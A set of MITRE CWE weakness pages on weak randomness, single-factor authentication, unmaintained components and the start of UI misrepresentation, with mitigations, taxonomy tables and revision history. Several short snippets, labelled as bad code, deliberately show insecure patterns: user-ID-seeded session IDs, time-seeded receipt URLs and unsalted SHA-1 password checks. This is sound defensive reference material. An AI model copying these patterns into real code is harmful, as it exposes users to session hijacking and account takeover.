Use products or modules that conform to FIPS 140-2 [REF-267] to avoid obvious entropy problems. Consult FIPS 140-2 Annex C ("Approved Random Number Generators").

Testing
Use tools and techniques that require manual (human) analysis, such as penetration testing, threat modeling, and interactive tools that allow the tester to record and modify an active session. These may be more effective than strictly automated techniques. This is especially the case with weaknesses that are related to design and business rules.
+ Relationships
Section Help This table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (View-1000)
Nature Type ID Name
ChildOf Pillar Pillar - a weakness that is the most abstract type of weakness and represents a theme for all class/base/variant weaknesses related to it. A Pillar is different from a Category as a Pillar is still technically a type of weakness that describes a mistake, while a Category represents a common characteristic used to group related things. 693 Protection Mechanism Failure
ParentOf Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. 331 Insufficient Entropy
ParentOf Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. 334 Small Space of Random Values
ParentOf Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. 335 Incorrect Usage of Seeds in Pseudo-Random Number Generator (PRNG)
ParentOf Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. 338 Use of Cryptographically Weak Pseudo-Random Number Generator (PRNG)
ParentOf Class Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource. 340 Generation of Predictable Numbers or Identifiers
ParentOf Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. 344 Use of Invariant Value in Dynamically Changing Context
ParentOf Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. 1204 Generation of Weak Initialization Vector (IV)
ParentOf Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. 1241 Use of Predictable Algorithm in Random Number Generator
CanPrecede Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. 804 Guessable CAPTCHA
+ Relevant to the view "Weaknesses for Simplified Mapping of Published Vulnerabilities" (View-1003)
Nature Type ID Name
MemberOf View View - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries). 1003 Weaknesses for Simplified Mapping of Published Vulnerabilities
ParentOf Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. 331 Insufficient Entropy
ParentOf Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. 335 Incorrect Usage of Seeds in Pseudo-Random Number Generator (PRNG)
ParentOf Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. 338 Use of Cryptographically Weak Pseudo-Random Number Generator (PRNG)
+ Relevant to the view "Architectural Concepts" (View-1008)
Nature Type ID Name
MemberOf Category Category - a CWE entry that contains a set of other entries that share a common characteristic. 1013 Encrypt Data
+ Background Details
Computers are deterministic machines, and as such are unable to produce true randomness. Pseudo-Random Number Generators (PRNGs) approximate randomness algorithmically, starting with a seed from which subsequent values are calculated. There are two types of PRNGs: statistical and cryptographic. Statistical PRNGs provide useful statistical properties, but their output is highly predictable and forms an easy to reproduce numeric stream that is unsuitable for use in cases where security depends on generated values being unpredictable. Cryptographic PRNGs address this problem by generating output that is more difficult to predict. For a value to be cryptographically secure, it must be impossible or highly improbable for an attacker to distinguish between it and a truly random value.
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
Phase Note
Architecture and Design
Implementation REALIZATION: This weakness is caused during implementation of an architectural security tactic.
+ Applicable Platforms
Section HelpThis listing shows possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.
Languages

Class: Not Language-Specific (Undetermined Prevalence)

Technologies

Class: Not Technology-Specific (Undetermined Prevalence)

+ Likelihood Of Exploit
High
+ Demonstrative Examples

Example 1


This code attempts to generate a unique random identifier for a user's session.

(bad code)
Example Language: PHP 
function generateSessionID($userID){
srand($userID);
return rand();
}

Because the seed for the PRNG is always the user's ID, the session ID will always be the same. An attacker could thus predict any user's session ID and potentially hijack the session.

This example also exhibits a Small Seed Space (CWE-339).



Example 2


The following code uses a statistical PRNG to create a URL for a receipt that remains active for some period of time after a purchase.

(bad code)
Example Language: Java 
String GenerateReceiptURL(String baseUrl) {
Random ranGen = new Random();
ranGen.setSeed((new Date()).getTime());
return(baseUrl + ranGen.nextInt(400000000) + ".html");
}

This code uses the Random.nextInt() function to generate "unique" identifiers for the receipt pages it generates. Because Random.nextInt() is a statistical PRNG, it is easy for an attacker to guess the strings it generates. Although the underlying design of the receipt system is also faulty, it would be more secure if it used a random number generator that did not produce predictable receipt identifiers, such as a cryptographic PRNG.



+ Selected Observed Examples

Note: this is a curated list of examples for users to understand the variety of ways in which this weakness can be introduced. It is not a complete list of all CVEs that are related to this CWE entry.

Reference Description
PHP framework uses mt_rand() function (Marsenne Twister) when generating tokens
Cloud application on Kubernetes generates passwords using a weak random number generator based on deployment time.
Crypto product uses rand() library function to generate a recovery key, making it easier to conduct brute force attacks.
Random number generator can repeatedly generate the same value.
Web application generates predictable session IDs, allowing session hijacking.
Password recovery utility generates a relatively small number of random passwords, simplifying brute force attacks.
Cryptographic key created with a seed based on the system time.
Kernel function does not have a good entropy source just after boot.
Blogging software uses a hard-coded salt when calculating a password hash.
Bulletin board application uses insufficiently random names for uploaded files, allowing other users to access private files.
Handheld device uses predictable TCP sequence numbers, allowing spoofing or hijacking of TCP connections.
Web management console generates session IDs based on the login time, making it easier to conduct session hijacking.
SSL library uses a weak random number generator that only generates 65,536 unique keys.
Chain: insufficient precision causes extra zero bits to be assigned, reducing entropy for an API function that generates random numbers.
Chain: insufficient precision (CWE-1339) in random-number generator causes some zero bits to be reliably generated, reducing the amount of entropy (CWE-331)
CAPTCHA implementation does not produce enough different images, allowing bypass using a database of all possible checksums.
DNS client uses predictable DNS transaction IDs, allowing DNS spoofing.
Application generates passwords that are based on the time of day.
+ Weakness Ordinalities
Ordinality Description
Primary
(where the weakness exists independent of other weaknesses)
+ Detection Methods
Method Details

Black Box

Use monitoring tools that examine the software's process as it interacts with the operating system and the network. This technique is useful in cases when source code is unavailable, if the software was not developed by you, or if you want to verify that the build phase did not introduce any new weaknesses. Examples include debuggers that directly attach to the running process; system-call tracing utilities such as truss (Solaris) and strace (Linux); system activity monitors such as FileMon, RegMon, Process Monitor, and other Sysinternals utilities (Windows); and sniffers and protocol analyzers that monitor network traffic.

Attach the monitor to the process and look for library functions that indicate when randomness is being used. Run the process multiple times to see if the seed changes. Look for accesses of devices or equivalent resources that are commonly used for strong (or weak) randomness, such as /dev/urandom on Linux. Look for library or system calls that access predictable information such as process IDs and system time.

Automated Static Analysis - Binary or Bytecode

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:
  • Bytecode Weakness Analysis - including disassembler + source code weakness analysis
  • Binary Weakness Analysis - including disassembler + source code weakness analysis

Effectiveness: SOAR Partial

Manual Static Analysis - Binary or Bytecode

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:
  • Binary / Bytecode disassembler - then use manual analysis for vulnerabilities & anomalies

Effectiveness: SOAR Partial

Dynamic Analysis with Manual Results Interpretation

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:
  • Man-in-the-middle attack tool

Effectiveness: SOAR Partial

Manual Static Analysis - Source Code

According to SOAR, the following detection techniques may be useful:

Highly cost effective:
  • Focused Manual Spotcheck - Focused manual analysis of source
  • Manual Source Code Review (not inspections)

Effectiveness: High

Automated Static Analysis - Source Code

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:
  • Source code Weakness Analyzer
  • Context-configured Source Code Weakness Analyzer

Effectiveness: SOAR Partial

Architecture or Design Review

According to SOAR, the following detection techniques may be useful:

Highly cost effective:
  • Inspection (IEEE 1028 standard) (can apply to requirements, design, source code, etc.)

Effectiveness: High
+ Functional Areas
  • Cryptography
  • Authentication
  • Session Management
+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
Nature Type ID Name
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 254 7PK - Security Features
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 723 OWASP Top Ten 2004 Category A2 - Broken Access Control
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 747 CERT C Secure Coding Standard (2008) Chapter 14 - Miscellaneous (MSC)
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 753 2009 Top 25 - Porous Defenses
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 808 2010 Top 25 - Weaknesses On the Cusp
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 861 The CERT Oracle Secure Coding Standard for Java (2011) Chapter 18 - Miscellaneous (MSC)
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 867 2011 Top 25 - Weaknesses On the Cusp
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 883 CERT C++ Secure Coding Section 49 - Miscellaneous (MSC)
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 905 SFP Primary Cluster: Predictability
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 1152 SEI CERT Oracle Secure Coding Standard for Java - Guidelines 49. Miscellaneous (MSC)
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 1169 SEI CERT C Coding Standard - Guidelines 14. Concurrency (CON)
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 1170 SEI CERT C Coding Standard - Guidelines 48. Miscellaneous (MSC)
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 1346 OWASP Top Ten 2021 Category A02:2021 - Cryptographic Failures
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 1366 ICS Communications: Frail Security in Protocols
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 1414 Comprehensive Categorization: Randomness
+ Vulnerability Mapping Notes
Usage DISCOURAGED
(this CWE ID should not be used to map to real-world vulnerabilities)
Reason Abstraction

Rationale

This CWE entry is a level-1 Class (i.e., a child of a Pillar). It might have lower-level children that would be more appropriate

Comments

Examine children of this entry to see if there is a better fit
+ Notes

Relationship

This can be primary to many other weaknesses such as cryptographic errors, authentication errors, symlink following, information leaks, and others.

Maintenance

As of CWE 4.3, CWE-330 and its descendants are being investigated by the CWE crypto team to identify gaps related to randomness and unpredictability, as well as the relationships between randomness and cryptographic primitives. This "subtree analysis" might result in the addition or deprecation of existing entries; the reorganization of relationships in some views, e.g. the research view (CWE-1000); more consistent use of terminology; and/or significant modifications to related entries.

Maintenance

As of CWE 4.5, terminology related to randomness, entropy, and predictability can vary widely. Within the developer and other communities, "randomness" is used heavily. However, within cryptography, "entropy" is distinct, typically implied as a measurement. There are no commonly-used definitions, even within standards documents and cryptography papers. Future versions of CWE will attempt to define these terms and, if necessary, distinguish between them in ways that are appropriate for different communities but do not reduce the usability of CWE for mapping, understanding, or other scenarios.
+ Taxonomy Mappings
Mapped Taxonomy Name Node ID Fit Mapped Node Name
PLOVER Randomness and Predictability
7 Pernicious Kingdoms Insecure Randomness
OWASP Top Ten 2004 A2 CWE More Specific Broken Access Control
CERT C Secure Coding CON33-C Imprecise Avoid race conditions when using library functions
CERT C Secure Coding MSC30-C CWE More Abstract Do not use the rand() function for generating pseudorandom numbers
CERT C Secure Coding MSC32-C CWE More Abstract Properly seed pseudorandom number generators
WASC 11 Brute Force
WASC 18 Credential/Session Prediction
The CERT Oracle Secure Coding Standard for Java (2011) MSC02-J Generate strong random numbers
+ References
[REF-267] Information Technology Laboratory, National Institute of Standards and Technology. "SECURITY REQUIREMENTS FOR CRYPTOGRAPHIC MODULES". 2001-05-25.
<https://csrc.nist.gov/csrc/media/publications/fips/140/2/final/documents/fips1402.pdf>. (URL validated: 2023-04-07)
[REF-207] John Viega and Gary McGraw. "Building Secure Software: How to Avoid Security Problems the Right Way". 1st Edition. Addison-Wesley. 2002.
[REF-7] Michael Howard and David LeBlanc. "Writing Secure Code". Chapter 8, "Using Poor Random Numbers" Page 259. 2nd Edition. Microsoft Press. 2002-12-04.
<https://www.microsoftpressstore.com/store/writing-secure-code-9780735617223>.
[REF-44] Michael Howard, David LeBlanc and John Viega. "24 Deadly Sins of Software Security". "Sin 20: Weak Random Numbers." Page 299. McGraw-Hill. 2010.
+ Content History
+ Submissions
Submission Date Submitter Organization
2006-07-19
(CWE Draft 3, 2006-07-19) 		PLOVER
+ Modifications
Modification Date Modifier Organization
2024-02-29
(CWE 4.14, 2024-02-29) 		CWE Content Team MITRE
updated Mapping_Notes
2023-10-26 CWE Content Team MITRE
updated Observed_Examples
2023-06-29 CWE Content Team MITRE
updated Mapping_Notes, Relationships
2023-04-27 CWE Content Team MITRE
updated References, Relationships
2023-01-31 CWE Content Team MITRE
updated Common_Consequences, Description
2022-10-13 CWE Content Team MITRE
updated Observed_Examples, Relationships
2021-10-28 CWE Content Team MITRE
updated Relationships
2021-07-20 CWE Content Team MITRE
updated Demonstrative_Examples, Maintenance_Notes, Observed_Examples
2021-03-15 CWE Content Team MITRE
updated Maintenance_Notes, Relationships
2020-02-24 CWE Content Team MITRE
updated Applicable_Platforms, Description, Relationships
2019-06-20 CWE Content Team MITRE
updated Relationships
2019-01-03 CWE Content Team MITRE
updated Relationships, Taxonomy_Mappings
2018-03-27 CWE Content Team MITRE
updated References
2017-11-08 CWE Content Team MITRE
updated Functional_Areas, Likelihood_of_Exploit, Modes_of_Introduction, References, Relationships, Taxonomy_Mappings
2015-12-07 CWE Content Team MITRE
updated Relationships
2014-07-30 CWE Content Team MITRE
updated Detection_Factors
2014-06-23 CWE Content Team MITRE
updated Related_Attack_Patterns
2014-02-18 CWE Content Team MITRE
updated Related_Attack_Patterns
2012-05-11 CWE Content Team MITRE
updated Demonstrative_Examples, Observed_Examples, References, Relationships
2011-09-13 CWE Content Team MITRE
updated Potential_Mitigations, References, Relationships, Taxonomy_Mappings
2011-06-27 CWE Content Team MITRE
updated Relationships
2011-06-01 CWE Content Team MITRE
updated Common_Consequences, Relationships, Taxonomy_Mappings
2011-03-29 CWE Content Team MITRE
updated Demonstrative_Examples
2010-06-21 CWE Content Team MITRE
updated Detection_Factors, Potential_Mitigations
2010-04-05 CWE Content Team MITRE
updated Related_Attack_Patterns
2010-02-16 CWE Content Team MITRE
updated References, Relationships, Taxonomy_Mappings
2009-12-28 CWE Content Team MITRE
updated Applicable_Platforms, Common_Consequences, Description, Observed_Examples, Potential_Mitigations, Time_of_Introduction
2009-05-27 CWE Content Team MITRE
updated Demonstrative_Examples, Related_Attack_Patterns
2009-03-10 CWE Content Team MITRE
updated Potential_Mitigations
2009-01-12 CWE Content Team MITRE
updated Description, Likelihood_of_Exploit, Other_Notes, Potential_Mitigations, Relationships
2008-11-24 CWE Content Team MITRE
updated Relationships, Taxonomy_Mappings
2008-09-08 CWE Content Team MITRE
updated Background_Details, Relationships, Other_Notes, Relationship_Notes, Taxonomy_Mappings, Weakness_Ordinalities
2008-07-01 Eric Dalci Cigital
updated Time_of_Introduction
+ Previous Entry Names
Change Date Previous Entry Name
2008-04-11 Randomness and Predictability
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CWE-308: Use of Single-factor Authentication

Weakness ID: 308
Vulnerability Mapping: ALLOWED This CWE ID may be used to map to real-world vulnerabilities
Abstraction: Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.
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+ Description
The use of single-factor authentication can lead to unnecessary risk of compromise when compared with the benefits of a dual-factor authentication scheme.
+ Extended Description
While the use of multiple authentication schemes is simply piling on more complexity on top of authentication, it is inestimably valuable to have such measures of redundancy. The use of weak, reused, and common passwords is rampant on the internet. Without the added protection of multiple authentication schemes, a single mistake can result in the compromise of an account. For this reason, if multiple schemes are possible and also easy to use, they should be implemented and required.
+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
Impact Details

Bypass Protection Mechanism

Scope: Access Control

If the secret in a single-factor authentication scheme gets compromised, full authentication is possible.
+ Potential Mitigations
Phase(s) Mitigation

Architecture and Design
Use multiple independent authentication schemes, which ensures that -- if one of the methods is compromised -- the system itself is still likely safe from compromise.
+ Relationships
Section Help This table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (View-1000)
Nature Type ID Name
ChildOf Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. 654 Reliance on a Single Factor in a Security Decision
ChildOf Class Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource. 1390 Weak Authentication
PeerOf Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. 309 Use of Password System for Primary Authentication
+ Relevant to the view "Software Development" (View-699)
Nature Type ID Name
MemberOf Category Category - a CWE entry that contains a set of other entries that share a common characteristic. 1211 Authentication Errors
+ Relevant to the view "Architectural Concepts" (View-1008)
Nature Type ID Name
MemberOf Category Category - a CWE entry that contains a set of other entries that share a common characteristic. 1010 Authenticate Actors
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
Phase Note
Architecture and Design COMMISSION: This weakness refers to an incorrect design related to an architectural security tactic.
+ Applicable Platforms
Section HelpThis listing shows possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.
Languages

Class: Not Language-Specific (Undetermined Prevalence)

+ Likelihood Of Exploit
High
+ Demonstrative Examples

Example 1


In both of these examples, a user is logged in if their given password matches a stored password:

(bad code)
Example Language: C 
unsigned char *check_passwd(char *plaintext) {
ctext = simple_digest("sha1",plaintext,strlen(plaintext), ... );
//Login if hash matches stored hash
if (equal(ctext, secret_password())) {
login_user();
}
}
(bad code)
Example Language: Java 
String plainText = new String(plainTextIn);
MessageDigest encer = MessageDigest.getInstance("SHA");
encer.update(plainTextIn);
byte[] digest = password.digest();
//Login if hash matches stored hash
if (equal(digest,secret_password())) {
login_user();
}

This code relies exclusively on a password mechanism (CWE-309) using only one factor of authentication (CWE-308). If an attacker can steal or guess a user's password, they are given full access to their account. Note this code also uses SHA-1, which is a weak hash (CWE-328). It also does not use a salt (CWE-759).



+ Selected Observed Examples

Note: this is a curated list of examples for users to understand the variety of ways in which this weakness can be introduced. It is not a complete list of all CVEs that are related to this CWE entry.

Reference Description
Chat application skips validation when Central Authentication Service (CAS) is enabled, effectively removing the second factor from two-factor authentication
+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
Nature Type ID Name
MemberOf ViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries). 884 CWE Cross-section
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 947 SFP Secondary Cluster: Authentication Bypass
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 1028 OWASP Top Ten 2017 Category A2 - Broken Authentication
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 1368 ICS Dependencies (& Architecture): External Digital Systems
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 1396 Comprehensive Categorization: Access Control
+ Vulnerability Mapping Notes
Usage ALLOWED
(this CWE ID may be used to map to real-world vulnerabilities)
Reason Acceptable-Use

Rationale

This CWE entry is at the Base level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Comments

Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.
+ Taxonomy Mappings
Mapped Taxonomy Name Node ID Fit Mapped Node Name
CLASP Using single-factor authentication
+ References
[REF-18] Secure Software, Inc.. "The CLASP Application Security Process". 2005.
<https://cwe.mitre.org/documents/sources/TheCLASPApplicationSecurityProcess.pdf>. (URL validated: 2024-11-17)
+ Content History
+ Submissions
Submission Date Submitter Organization
2006-07-19
(CWE Draft 3, 2006-07-19) 		CLASP
+ Modifications
Modification Date Modifier Organization
2023-10-26 CWE Content Team MITRE
updated Observed_Examples
2023-06-29 CWE Content Team MITRE
updated Mapping_Notes, Relationships
2023-04-27 CWE Content Team MITRE
updated Relationships
2022-10-13 CWE Content Team MITRE
updated Relationships
2021-03-15 CWE Content Team MITRE
updated Demonstrative_Examples
2020-08-20 CWE Content Team MITRE
updated Related_Attack_Patterns
2020-02-24 CWE Content Team MITRE
updated References, Relationships
2018-03-27 CWE Content Team MITRE
updated Relationships
2017-11-08 CWE Content Team MITRE
updated Applicable_Platforms, Modes_of_Introduction, Relationships
2014-07-30 CWE Content Team MITRE
updated Relationships
2012-10-30 CWE Content Team MITRE
updated Demonstrative_Examples
2012-05-11 CWE Content Team MITRE
updated Relationships
2011-06-01 CWE Content Team MITRE
updated Common_Consequences
2010-02-16 CWE Content Team MITRE
updated Description, Other_Notes
2008-09-08 CWE Content Team MITRE
updated Common_Consequences, Relationships, Other_Notes, Taxonomy_Mappings
+ Previous Entry Names
Change Date Previous Entry Name
2008-04-11 Using Single-factor Authentication
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CWE-1104: Use of Unmaintained Third Party Components

Weakness ID: 1104
Vulnerability Mapping: ALLOWED This CWE ID may be used to map to real-world vulnerabilities
Abstraction: Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
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+ Description
The product relies on third-party components that are not actively supported or maintained by the original developer or a trusted proxy for the original developer.
+ Extended Description

Reliance on components that are no longer maintained can make it difficult or impossible to fix significant bugs, vulnerabilities, or quality issues. In effect, unmaintained code can become obsolete.

This issue makes it more difficult to maintain the product, which indirectly affects security by making it more difficult or time-consuming to find and/or fix vulnerabilities. It also might make it easier to introduce vulnerabilities.

+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
Impact Details

Reduce Maintainability

Scope: Other

+ Relationships
Section Help This table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (View-1000)
Nature Type ID Name
ChildOf Class Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource. 1357 Reliance on Insufficiently Trustworthy Component
+ Relevant to the view "Software Development" (View-699)
Nature Type ID Name
MemberOf Category Category - a CWE entry that contains a set of other entries that share a common characteristic. 1006 Bad Coding Practices
+ Applicable Platforms
Section HelpThis listing shows possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.
Technologies

Class: Not Technology-Specific (Undetermined Prevalence)

Class: ICS/OT (Undetermined Prevalence)

+ Weakness Ordinalities
Ordinality Description
Indirect
(where the weakness is a quality issue that might indirectly make it easier to introduce security-relevant weaknesses or make them more difficult to detect)
+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
Nature Type ID Name
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 1352 OWASP Top Ten 2021 Category A06:2021 - Vulnerable and Outdated Components
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 1368 ICS Dependencies (& Architecture): External Digital Systems
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 1415 Comprehensive Categorization: Resource Control
+ Vulnerability Mapping Notes
Usage ALLOWED
(this CWE ID may be used to map to real-world vulnerabilities)
Reason Acceptable-Use

Rationale

This CWE entry is at the Base level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Comments

Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.
+ References
[REF-1212] "A06:2021 - Vulnerable and Outdated Components". OWASP. 2021-09-24.
<https://owasp.org/Top10/A06_2021-Vulnerable_and_Outdated_Components/>.
+ Content History
+ Submissions
Submission Date Submitter Organization
2018-07-02
(CWE 3.2, 2019-01-03) 		CWE Content Team MITRE
Entry derived from Common Quality Enumeration (CQE) Draft 0.9.
+ Modifications
Modification Date Modifier Organization
2023-06-29 CWE Content Team MITRE
updated Mapping_Notes
2023-04-27 CWE Content Team MITRE
updated Relationships
2023-01-31 CWE Content Team MITRE
updated Applicable_Platforms, Description, Relationships
2022-10-13 CWE Content Team MITRE
updated References
2022-04-28 CWE Content Team MITRE
updated References, Relationships
2021-10-28 CWE Content Team MITRE
updated Relationships
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CWE-451: User Interface (UI) Misrepresentation of Critical Information

Weakness ID: 451
Vulnerability Mapping: ALLOWED This CWE ID could be used to map to real-world vulnerabilities in limited situations requiring careful review (with careful review of mapping notes)
Abstraction: Class Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
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+ Description
The user interface (UI) does not properly represent critical information to the user, allowing the information - or its source - to be obscured or spoofed. This is often a component in phishing attacks.
+ Extended Description

If an attacker can cause the UI to display erroneous data, or to otherwise convince the user to display information that appears to come from a trusted source, then the attacker could trick the user into performing the wrong action. This is often a component in phishing attacks, but other kinds of problems exist. For example, if the UI is used to monitor the security state of a system or network, then omitting or obscuring an important indicator could prevent the user from detecting and reacting to a security-critical event.

UI misrepresentation can take many forms:

